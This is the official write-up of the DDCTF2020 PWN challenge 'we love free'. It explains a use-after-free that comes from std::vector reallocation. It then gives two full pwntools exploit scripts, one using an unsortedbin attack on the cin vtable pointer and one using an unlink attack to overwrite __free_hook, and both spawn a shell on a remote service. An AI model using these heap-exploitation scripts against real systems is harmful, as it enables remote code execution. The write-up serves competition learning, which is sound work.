DDCTF2020官方Write Up——PWN篇
目录
?0x01 :we love free
???出题人现身说法,带来官方解读
01
we love free
团队昵称:Nanase
一血用时:2小时13分
出题人

罗爱国
滴滴出行安全工程师
出题人视角
本题使用了vector库,选手需要了解vector的机制。在插入第一个数据时,分配大小为1个数据大小的内存把数据存入;在插入第二个数据时,由于空间已经满了,把已有内存释放,再分配2个数据大小的内存,把数据存入;漏洞点是在show的时候把irte指针保存在bss段,然后再插入数据,这样就导致当前的地址空间被释放,但指针仍然指向的时旧的地址,这样就产生了use after free漏洞。
-----选手Write Up-----
这道题巧妙利用vector的扩容机制设置了一个漏洞,我自己解的时候是用unsortedbin attack攻击的cin,赛后还看到了用unlink来unlink自己的骚操作,这里把两种解法都记录下
解法一
vector结构:
00000000?vector??????????struc?;?(sizeof=0x18,?mappedto_7)
00000000?????????????????????????????????????????;?XREF:?.bss:vec_/r
00000000?start???????????dq??
00000008?cur?????????????dq??
00000010?end?????????????dq??
00000018?vector??????????ends
00000018
00000000?;?[00000018?BYTES.?COLLAPSED?STRUCT?Elf64_Rela.?PRESS?CTRL-NUMPAD+?TO?EXPAND]
00000000?;?[00000010?BYTES.?COLLAPSED?STRUCT?Elf64_Dyn.?PRESS?CTRL-NUMPAD+?TO?EXPAND]
vector的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间,在把原来的数据拷贝到新申请的空间中,在释放原先的空间,对应申请的堆块大小(加上头部)0x20,0x20,0x30,0x50,0x90.....
漏洞点:

思路为:
? 先add16个元素(0x90的堆块),这样调用show函数的时候,在push 0xAABBCCDD之后,原先的堆块就会被释放,这样就能有UAF的效果,先泄露下libc的地址,在调用clear函数清空,这里调用clear会触发malloc_consolidate,所以堆又会变成原来的样子
? 在add至少0x20个元素,每个元素都为one_gadget,在堆上残留数据,在调用clear函数清空堆
? 接着在add16个元素,调用show函数
? show函数还会问我们要不要修改元素的值,所以我们可以把unsorted bin的bk指针改掉,用作unsortedbin attack,改成啥后面再说
? 接着在修改push 0xAABBCCDD之后新申请的堆块的大小,改小size,在clear的时候不触发malloc_consolidate,这样就为后面的unsortedbin attack做好了准备
? 最后只要在add 9 个元素,vector就会申请0x80大小的堆块,触发unsortedbin attack,将unsortedbin的地址写入一个地方
现在的问题就是将这个unsortedbin的地址写哪里了,我们可以看到程序用到了cin,cout,在data段上有指针指向他们虚表:

所以我们选择攻击cin或者cout,都试一下,效果如下:

libc2.23有很多one_gadget,这里选的是:

?? 在add完元素之后就会调用cin,或者cout,就能触发one_gadget,拿到shell
exp:
from?pwn?import?*
context.arch?=?'amd64'
#?context.terminal?=?["tmux","split-window","-h"]
def?cmd(command):
????p.recvuntil(">>")
????p.sendline(str(command))
def?add(cap):
????cmd(1)
????p.recvuntil("num:")
????p.sendline(str(cap))
def?show():
????cmd(2)
def?clear():
????cmd(3)
def?main(host,port=5005):
????global?p
????if?host:
????????p?=?remote(host,port)
????else:
????????p?=?process("./pwn1")
????????gdb.attach(p)
????????#?gdb.attach(p,"b?*0x000000000401192")
????for?i?in?range(0x10):
????????add(0xcafebabedeadbeef)
????show()
????p.recvuntil("1:")
????libc.address?=?int(p.recvuntil('\n')[:-1])?-?0x3c4b78
????info("libc?:?"?+?hex(libc.address))
????for?i?in?range(34):
????????p.recvuntil("(y/n):")
????????p.send('n')
????for?i?in?range(0x10):
????????add(libc.address)
????clear()
????for?i?in?range(0x21):
????????add(0xf67b0+libc.address)
????clear()
????#?unsorted?bin?attack
????for?i?in?range(0x10):
????????add(0xcafebabedeadbeef)
????show()
????p.recvuntil("1:")
????p.recvuntil("(y/n):")
????p.send('n')
????p.recvuntil("(y/n):")
????p.send('y')
????#?modify?unsortedbin->bk
????p.sendline(str(0x6051f8-0x10))
????for?i?in?range(32):
????????p.recvuntil("(y/n):")
????????p.send('y')
????????p.sendline(str(0x71))
????clear()
????#?trigger?one_gadget
????for?i?in?range(0x9):
????????add(0xcafebabedeadbeef)
????p.interactive()
if?__name__?==?"__main__":
????libc?=?ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
????main(args['REMOTE'])
解法二
如果把presize给改成-0x10,这样unlink的时候,p就会指向自己+0x10偏移处:
/*?consolidate?backward?*/
????if?(!prev_inuse(p))?{
??????prevsize?=?p->prev_size;
??????size?+=?prevsize;
??????p?=?chunk_at_offset(p,?-((long)?prevsize));
??????unlink(av,?p,?bck,?fwd);
????}
我们可以在这里构造好假的fd和bk,这样在free之后就可以改到数据段上的vec结构,连同迭代器也一起改了,这样就可以直接任意地址读写,把vec的begin改成__free_hook-8,cur改的比begin大就好,end也是,然后add数据的时候就可以修改__free_hook,getshell
exp:
from?pwn?import?*
context.arch?=?'amd64'
context.terminal?=?["tmux","split-window","-h"]
def?cmd(command):
????p.recvuntil(">>")
????p.sendline(str(command))
def?add(cap):
????cmd(1)
????p.recvuntil("num:")
????p.sendline(str(cap))
def?show():
????cmd(2)
def?clear():
????cmd(3)
def?write(data):
????p.recvuntil("(y/n):")
????p.send('y')
????p.sendline(str(data))
def?main(host,port=5005):
????global?p
????if?host:
???????p?=?remote(host,port)
????else:
???????p?=?process("./pwn1")
???????gdb.attach(p)
???????#?gdb.attach(p,"b?*0x000000000401192")
????for?i?in?range(0x10):
???????add(0xcafebabedeadbeef)
????show()
????p.recvuntil("1:")
????libc.address?=?int(p.recvuntil('\n')[:-1])?-?0x3c4b78
????info("libc?:?"?+?hex(libc.address))
????for?i?in?range(34):
???????p.recvuntil("(y/n):")
???????p.send('n')
????clear()
????for?i?in?range(0x10):
???????add(0xcafebabedeadbeef)
????show()
????for?i?in?range(16):
???????p.recvuntil("(y/n):")
???????p.send('n')
????write(-0x10)
????write(0x110)
????write(0)???#?prev_size
????write(0)???#?size
????write(0x605398-0x18)
????write(0x605398-0x10)
????for?i?in?range(12):
???????p.recvuntil("(y/n):")
???????p.send('n')
????for?i?in?range(0xf):
???????add(0xcafebabedeadbeef)
????show()
????#?we?can?overwrite?vec?now?!!
????write(libc.symbols["__free_hook"]-8)??????#?begin
????write(libc.symbols["__free_hook"]-8)??????#?current
????write(libc.symbols["__free_hook"]+0x20)??????#?end
????write(0x605398)??????#?it_begin
????write(0x6053b0)??????#?it_end
????p.recvuntil("(y/n):")
????p.send('n')
????add(u64('/bin/sh\x00'))
????add(libc.symbols["system"])
????clear()
????p.interactive()
if?__name__?==?"__main__":
????libc?=?ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
????main(args['REMOTE'])
-----MISC方向Write Up请查看下一篇-----
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 中国经济向世界提供“机遇清单” 7904178
- 2 朱元璋换帅照后明孝陵火了 7808527
- 3 水银体温计将禁产 有网友囤货100支 7714203
- 4 2025这些“经济”持续成长壮大 7616100
- 5 近8000吨车厘子来了 7520010
- 6 老人接孙女从认不出到相拥大哭 7429052
- 7 冯提莫自曝癌症复发并转移 7330523
- 8 喜茶600多家店消失 7234677
- 9 美国女子熟睡时被医生男友喂堕胎药 7143830
- 10 寒潮来袭!多地气温将创下半年来新低 7041486







滴滴安全应急响应中心
